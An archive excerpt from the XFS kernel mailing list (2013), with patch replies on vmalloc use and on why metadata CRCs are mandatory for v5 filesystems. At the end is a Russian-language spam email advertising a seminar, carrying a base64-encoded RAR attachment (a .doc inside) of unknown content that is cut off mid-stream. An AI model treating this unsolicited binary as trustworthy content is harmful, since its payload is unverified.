(Postfix, from userid 4600) id 76A824266DC; Tue, 3 Sep 2013 17:21:28 -0500 (CDT) Date: Tue, 3 Sep 2013 17:21:28 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: minor cleanups for userspace sanity Message-ID: <20130903222128.GO1935@sgi.com> References: <1377843681-31878-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1377843681-31878-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Aug 30, 2013 at 04:21:19PM +1000, Dave Chinner wrote: > These are just a couple of small patches that fix up minor issues to > do with syncing code to userspace. Trivial, no compiled code impact > at all. Applied these two. From tinguely@sgi.com Tue Sep 3 17:38:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EEEA87F50 for ; Tue, 3 Sep 2013 17:38:18 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id C7E498F8049; Tue, 3 Sep 2013 15:38:18 -0700 (PDT) Message-ID: <522664D9.8010504@sgi.com> Date: Tue, 03 Sep 2013 17:38:17 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> <20130902222004.GI12779@dastard> <5225DF07.4080509@sgi.com> <20130903200401.GF23571@dastard> <52264AA0.4010501@sgi.com> <20130903211643.GG23571@dastard> In-Reply-To: <20130903211643.GG23571@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/03/13 16:16, Dave Chinner wrote: > Let's just quote Linus from 2003, shall we: > > http://yarchive.net/comp/linux/vmalloc.html > > |> I think it'd make more sense to only use vmalloc when it's explicitly > |> too big for kmalloc - or simply switch on num_online_cpus> 100 or > |> whatever a sensible cutoff is (ie nobody but you would ever see this ;-)) > | > | No, please please please don't do these things. > | > | vmalloc() is NOT SOMETHING YOU SHOULD EVER USE! It's only valid for when > | you_need_ a big array, and you don't have any choice. It's slow, and it's > | a very restricted resource: it's a global resource that is literally > | restricted to a few tens of megabytes. It should be_very_ carefully used. > | > | There are basically no valid new uses of it. There's a few valid legacy > | users (I think the file descriptor array), and there are some drivers that > | use it (which is crap, but drivers are drivers), and it's_really_ valid > | only for modules. Nothing else. > | > | Basically: if you think you need more memory than a kmalloc() can give, > | you need to re-organize your data structures. To either not need a big > | area, or to be able to allocate it in chunks. > | > | Linus > > Linus will say exactly the same thing today.... And that is very very sad that is it funny. --Mark. From david@fromorbit.com Tue Sep 3 17:45:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C43767F50 for ; Tue, 3 Sep 2013 17:45:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 45BC0AC001 for ; Tue, 3 Sep 2013 15:45:48 -0700 (PDT) X-ASG-Debug-ID: 1378248345-04cb6c153dd25b40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id MzTt9z7kEGXCrMIH for ; Tue, 03 Sep 2013 15:45:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtYGAIxlJlJ5LJ62/2dsb2JhbABbgweDRLlBhTWBLhd0giQBAQQBOhwREgULCAMOBAYJJQ8FJQMNFBOHfAW5SxaPYAeEHQOXdJFngzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Sep 2013 08:15:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGzLy-0004sw-6P; Wed, 04 Sep 2013 08:45:42 +1000 Date: Wed, 4 Sep 2013 08:45:42 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems Message-ID: <20130903224542.GH23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <20130903191201.GL1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903191201.GL1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378248345 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:12:01PM -0500, Ben Myers wrote: > Hey Dave, > > On Fri, Aug 30, 2013 at 10:23:43AM +1000, Dave Chinner wrote: > > Hi folks, > > > > The following 2 patches implement the BMBT owner change transaction > > that is necessary to enable the XFS_IOC_SWAPEXT ioctl to operate on > > v5 filesystems correctly. The first patch implements the > > transactional runtime change, and the second patch implements the > > recovery of that change. > > > > Both the run time and recovery code use the same mechanism for > > changing the owner field in all the blocks in the BMBT on an inode, > > and even though XFS_IOC_SWAPEXT only swaps the data fork, the code > > has been written to be fork neutral so if we even need to swap > > attribute forks it should just work for that, too. > > > > Further, because the BMBT code uses the generic btree > > infrastructure, the btree modification is done as a generic function > > as well and so should work for all types of btrees supported by the > > generic code. Hence if the need arises we can easily change the > > owner of any btree that uses the generic code. > > > > The testing carried out is documented in the description of the > > second patch. > > > > AFAIA, this is the only remaining feature that the kernel v5 > > filesystem implementation didn't support. Hence, with this patchset, > > there are no more feature checkboxes that need to be ticked that > > would prevent us from removing the experimental tag from it. Testing > > is the only remaining gate to removing the tag from the kernel > > code... > > I believe there is still the discussion surrounding being able to use > the self describing metadata without enabling crcs that needs to be > resolved before removing the experimental tag. There is no discussion to be had here - CRCs are not optional on v5 filesystems, nor is there any reason to make them optional. Please stop bring this up over and over again - you're just wasting my time by making me have to respond with the same answers over and over again. If people don't want CRCs, then we've still got a perfectly good v4 filesystem format that they can use. > Some customers will want > to use features such as t10-dif and won't want to calculate two separate > crcs. This is a straw man argument. T10-dif is a completely different layer of protection that is only useful for filesystem metadata if the CRC we calculate for the metadata is written into the T10-DIF CRC fields. This is the only way for us to get full end-to-end protection for metadata from T10-dif. i.e. we have to supply the CRCs ourselves before we issue the write IO, and verify it ourselves after a read IO. Guess what we do right now with CRC support? That's right: the existing CRC infrastructure is ready to support integrated, end-to-end T10 CRCs for metadata in the filesystem. All that is missing is the block layer interfaces and a few changes to the CRC code to do iterative per-sector CRCs rather than per-filesystem object CRCs. Surprise you, it may, but I've actually considered how to implement T10-dif support as part of the overall metadata CRC infrastructure architecture... Given that with T10-dif we still need calculate and verify the CRCs ourselves, why would we not also store it in the filesystem metadata at the same time? That would mean that tools like xfs_repair and xfs_db can also verify the metadata as being correct without needing to explicitly support T10-dif. Of course, if you want them to be able to repair or modify a filesystem with t10-dif enabled, we need feature bits and explicit userspace support, too. Hence, before making strawman arguments about how filesystem metadata CRCs will need to be turned off for t10-dif support, perhaps it would be better to first consider a design and prototype support for end-to-end T10-dif CRCs for filesystem metadata and share that with us? As I've said before, we do not make on disk format changes for strawmen or "potential" features that have not had design documents or code published - we make the changes when code arrives to implement the feature. So, until you have code for a feature that *fundamentally requires* CRCs to be disabled to function correctly, then the is not point even starting a discussion about making CRCs optional on v5 superblocks. Cheers, Dave. -- Dave Chinner david@fromorbit.com From frederi7k82@gr-fx.com Tue Sep 3 18:00:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDC687F52 for ; Tue, 3 Sep 2013 18:00:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D25F98F8049 for ; Tue, 3 Sep 2013 16:00:38 -0700 (PDT) X-ASG-Debug-ID: 1378249235-04cb6c2e9fd2a790001-NocioJ Received: from public8.ccs.ru (public8.ccs.ru [217.76.32.22]) by cuda.sgi.com with ESMTP id dz9XQ2Y4E9w8Ts4s (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 16:00:36 -0700 (PDT) X-Barracuda-Envelope-From: frederi7k82@gr-fx.com X-Barracuda-Apparent-Source-IP: 217.76.32.22 Received: from [190.107.140.77] (helo=Unknown) by public8.ccs.ru with esmtpa (Exim 4.69) (envelope-from ) id 1VGz82-0003Rg-OZ; Wed, 04 Sep 2013 02:31:20 +0400 Message-ID: <0D968BF9609B4DB7A00396ADD82BC9F7@npioci> Reply-To: =?windows-1251?B?8ODn8OX45e3o5SDt4CDx8vDu6PLl6/zx8uLu?= From: =?windows-1251?B?8ODn8OX45e3o5SDt4CDx8vDu6PLl6/zx8uLu?= To: , , , Subject: =?windows-1251?B?wvvk4PfgIPDg5/Dl+OXt6Okg7eAg8fLw7ujy?= =?windows-1251?B?5ev88fLi7g==?= Date: Wed, 4 Sep 2013 00:58:40 +0200 X-ASG-Orig-Subj: =?windows-1251?B?wvvk4PfgIPDg5/Dl+OXt6Okg7eAg8fLw7ujy?= =?windows-1251?B?5ev88fLi7g==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0159_01CEA909.E56B5720" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: public8.ccs.ru[217.76.32.22] X-Barracuda-Start-Time: 1378249236 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140256 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0159_01CEA909.E56B5720 Content-Type: multipart/alternative; boundary="----=_NextPart_001_015A_01CEA909.E56B5720" ------=_NextPart_001_015A_01CEA909.E56B5720 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =C2=E0=F1 =ED=E0 =F1=E5=EC=E8=ED=E0=F0 =EF= =EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=EC=F3 =ED=E0=E4=E7=EE=F0=F3 =E8 =FD= =EA=F1=EF=E5=F0=F2=E8=E7=E5, =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=EC =EF=F0=E0= =E2=E8=EB=E0=EC =E8 =ED=EE=F0=EC=E0=EC! =CA=F3=F0=F1 =EE=E1=EB=E5=E3=F7=E8=F2 =EF=F0=EE=F6=E5=F1=F1 =EF=EE=EB=F3=F7= =E5=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB= =FC=F1=F2=E2=EE, =EF=EE=EC=EE=E6=E5=F2 =F1 =FD=F2=E0=EF=EE=EC =E2=E2=EE=E4= =E0 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E8 =F0= =E0=E7=F0=E0=E1=EE=F2=EA=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2=ED=EE=E9= =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8, =EF=EE=EC=EE=E6=E5=F2 =E8=E7=E1=E5= =E6=E0=F2=FC =F2=E8=EF=E8=F7=ED=FB=F5 =EE=F8=E8=E1=EE=EA =EF=F0=E8 =F0=E0= =E1=EE=F2=E5 =F1 =C5=E4=E8=ED=EE=E9 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED= =EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9. =CD=E0 =F1=E5=EC=E8=ED=E0=F0=E5 =F2=E0=EA=E6=E5 =E1=F3=E4=F3=F2 =EF=EE=E4= =F0=EE=E1=ED=EE =F0=E0=F1=F1=EC=EE=F2=F0=E5=ED=FB =F2=E5=EC=FB =F1=EC=E5=F2= =ED=EE=E3=EE =E4=E5=EB=E0 =E8 =F6=E5=ED=EE=EE=E1=F0=E0=E7=EE=E2=E0=ED=E8=FF= , =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=F5 =EF=F0=E0=E2=E8=EB =E8 =ED=EE=F0=EC= , =E0 =F2=E0=EA=E6=E5 =E8=E7=F3=F7=E5=ED=FB =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8= =E5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=FB =F2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE= =FE=E7=E0 =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0= =E8 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CA=F3=F0=F1 2=C7 - 2=F7 =D1=C5=CD=D2=DF=C1=D0=DF 2=CE1=C7.=E3., =CF=E8= =F2=E5=F0. =CF=E5=F0=E5=F7=E5=ED=FC =F2=E5=EC(=EA=F0=E0=F2=EA=E8=E9): - =E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=E0=FF =EE=F2=E2=E5=F2=F1=F2=E2= =E5=ED=ED=EE=F1=F2=FC; - =EF=EE=F0=FF=E4=EE=EA =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1=EB= =F3=E6=E1 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=ED=EE=E3=EE =ED=E0=E4=E7=EE=F0=E0 =E8 =ED=E5=E3=EE=F1=F3=E4=E0= =F0=F1=F2=E2=E5=ED=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB; - =E0=EB=E3=EE=F0=E8=F2=EC =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1= =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7=EE=F0=EE=EC =E8 =FD=EA=F1=EF=E5=F0=F2= =E8=E7=EE=E9; - =CF=EE=F0=FF=E4=EE=EA =F1=EE=E3=EB=E0=F1=EE=E2=E0=ED=E8=FF =E8 =E2=FB=E4= =E0=F7=E8 =F0=E0=E7=F0=E5=F8=E5=ED=E8=FF =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=EE; - =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =E3=F0=E0=E4= =EA=EE=E4=E5=EA=F1, =E2=F1=F2=F3=EF=E0=FE=F9=E8=E5 =E2 =F1=E8=EB=F3 01.04= .2012 =E3. - =F0=F3=EA=EE=E2=EE=E4=FF=F9=E8=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB: =FD=EA=F1= =EF=E5=F0=F2=E8=E7=E0, =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7=EE=F0; =C2 =F1=E5=EC=E8=ED=E0=F0=E5 =EF=F0=E8=ED=E8=EC=E0=FE=F2 =F3=F7=E0=F1=F2=E8= =E5 =FE=F0=E8=F1=F2=FB, =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=FB =EF=F0=EE=F4=E8= =EB=FC=ED=FB=F5 =F1=EB=F3=E6=E1 =E8 =FD=EA=F1=EF=E5=F0=F2=FB. =D0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC! =CA=EE=ED=F2=E0=EA=F2=ED=FB= =E9 =F2=E5=EB.: ( =EA=EE=E4_=D1=CF=E1 ) 98^7 8=C7 - =D79 ------=_NextPart_001_015A_01CEA909.E56B5720 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=CF=F0=E8= =E3=EB=E0=F8=E0=E5=EC =C2=E0=F1 =ED=E0 =F1=E5=EC=E8=ED=E0=F0 =EF=EE =F1=F2= =F0=EE=E8=F2=E5=EB=FC=ED=EE=EC=F3 =ED=E0=E4=E7=EE=F0=F3 =E8 =FD=EA=F1=EF=E5= =F0=F2=E8=E7=E5, =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=EC =EF=F0=E0=E2=E8=EB=E0= =EC =E8 =ED=EE=F0=EC=E0=EC!

=CA=F3=F0=F1 =EE=E1=EB=E5=E3=F7=E8= =F2 =EF=F0=EE=F6=E5=F1=F1 =EF=EE=EB=F3=F7=E5=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5= =ED=E8=E9 =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =EF=EE=EC=EE=E6= =E5=F2 =F1 =FD=F2=E0=EF=EE=EC =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD= =EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E8 =F0=E0=E7=F0=E0=E1=EE=F2=EA=E5 =EF=F0= =EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8= =E8, =EF=EE=EC=EE=E6=E5=F2 =E8=E7=E1=E5=E6=E0=F2=FC =F2=E8=EF=E8=F7=ED=FB= =F5 =EE=F8=E8=E1=EE=EA =EF=F0=E8 =F0=E0=E1=EE=F2=E5 =F1 =C5=E4=E8=ED=EE=E9= =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7= =EE=E9.
=CD=E0 =F1=E5=EC=E8=ED=E0=F0=E5 =F2=E0=EA=E6=E5 =E1=F3= =E4=F3=F2 =EF=EE=E4=F0=EE=E1=ED=EE =F0=E0=F1=F1=EC=EE=F2=F0=E5=ED=FB =F2=E5= =EC=FB =F1=EC=E5=F2=ED=EE=E3=EE =E4=E5=EB=E0 =E8 =F6=E5=ED=EE=EE=E1=F0=E0= =E7=EE=E2=E0=ED=E8=FF, =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=F5 =EF=F0=E0=E2=E8= =EB =E8 =ED=EE=F0=EC, =E0 =F2=E0=EA=E6=E5 =E8=E7=F3=F7=E5=ED=FB =F2=E5=F5= =ED=E8=F7=E5=F1=EA=E8=E5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=FB =F2=E0=EC=EE=E6=E5= =ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=E0 =E8 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.

<= p> =CA=F3=F0=F1 2=C7 - 2=F7 =D1=C5=CD=D2=DF=C1=D0=DF 2=CE1=C7.=E3., =CF= =E8=F2=E5=F0.

=CF=E5=F0=E5=F7=E5=ED=FC =F2=E5=EC(=EA=F0=E0=F2=EA=E8=E9):=

- =E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=E0=FF =EE=F2=E2= =E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC;
- =EF=EE=F0=FF=E4=EE=EA= =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1=EB=F3=E6=E1 =E3=EE=F1=F3=E4= =E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE= =ED=E0=E4=E7=EE=F0=E0 =E8 =ED=E5=E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE= =E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB;
- =E0=EB=E3=EE=F0=E8=F2=EC= =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1 =E3=EE=F1=F1=F2=F0=EE=E9=ED= =E0=E4=E7=EE=F0=EE=EC =E8 =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9;
= - =CF=EE=F0=FF=E4=EE=EA =F1=EE=E3=EB=E0=F1=EE=E2=E0=ED=E8=FF =E8 =E2=FB=E4= =E0=F7=E8 =F0=E0=E7=F0=E5=F8=E5=ED=E8=FF =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=EE;
- =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5= =ED=E8=FF =E2 =E3=F0=E0=E4=EA=EE=E4=E5=EA=F1, =E2=F1=F2=F3=EF=E0=FE=F9=E8= =E5 =E2 =F1=E8=EB=F3 01.04.2012 =E3.
- =F0=F3=EA=EE=E2=EE=E4= =FF=F9=E8=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB: =FD=EA=F1=EF=E5=F0=F2=E8=E7=E0,= =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7=EE=F0;
=C2 =F1=E5=EC=E8= =ED=E0=F0=E5 =EF=F0=E8=ED=E8=EC=E0=FE=F2 =F3=F7=E0=F1=F2=E8=E5 =FE=F0=E8=F1= =F2=FB, =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=FB =EF=F0=EE=F4=E8=EB=FC=ED=FB=F5 = =F1=EB=F3=E6=E1 =E8 =FD=EA=F1=EF=E5=F0=F2=FB.

=D0=E5=E3=E8=F1=F2= =F0=E8=F0=F3=E9=F2=E5=F1=FC! =CA=EE=ED=F2=E0=EA=F2=ED=FB=E9 =F2=E5=EB.: = ( =EA=EE=E4_=D1=CF=E1 ) 98^7 8=C7 - =D79

------=_NextPart_001_015A_01CEA909.E56B5720-- ------=_NextPart_000_0159_01CEA909.E56B5720 Content-Type: application/octet-stream; name="___ekspert13_.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="___ekspert13_.rar" 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 